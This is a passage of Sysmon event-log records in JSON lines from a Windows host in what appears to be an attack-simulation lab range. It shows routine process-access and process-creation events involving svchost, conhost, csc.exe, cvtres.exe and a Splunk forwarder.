11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.771\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-0010472E0600}\r\nTargetProcessId: 2228\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.771","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-0010472E0600}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.865\r\nSourceProcessGUID: {90617006-413B-5F2D-0000-0010902C0600}\r\nSourceProcessId: 4360\r\nSourceThreadId: 4352\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.865","SourceProcessGUID":"{90617006-413B-5F2D-0000-0010902C0600}","SourceProcessId":"4360","SourceThreadId":"4352","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.979\r\nProcessGuid: {90617006-413B-5F2D-0000-001058320600}\r\nProcessId: 4676\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES97E2.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSC5CFDDD42252D402EB5B31A4DBF4C3FB0.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-413B-5F2D-0000-0010472E0600}\r\nParentProcessId: 2228\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\bgn45d5u.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.979","ProcessGuid":"{90617006-413B-5F2D-0000-001058320600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES97E2.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSC5CFDDD42252D402EB5B31A4DBF4C3FB0.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-413B-5F2D-0000-0010472E0600}","ParentProcessId":"2228","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\bgn45d5u.cmdline\"","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-413B-5F2D-0000-0010472E0600}\r\nSourceProcessId: 2228\r\nSourceThreadId: 4632\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-001058320600}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-413B-5F2D-0000-0010472E0600}","SourceProcessId":"2228","SourceThreadId":"4632","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-001058320600}","TargetProcessId":"4676","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 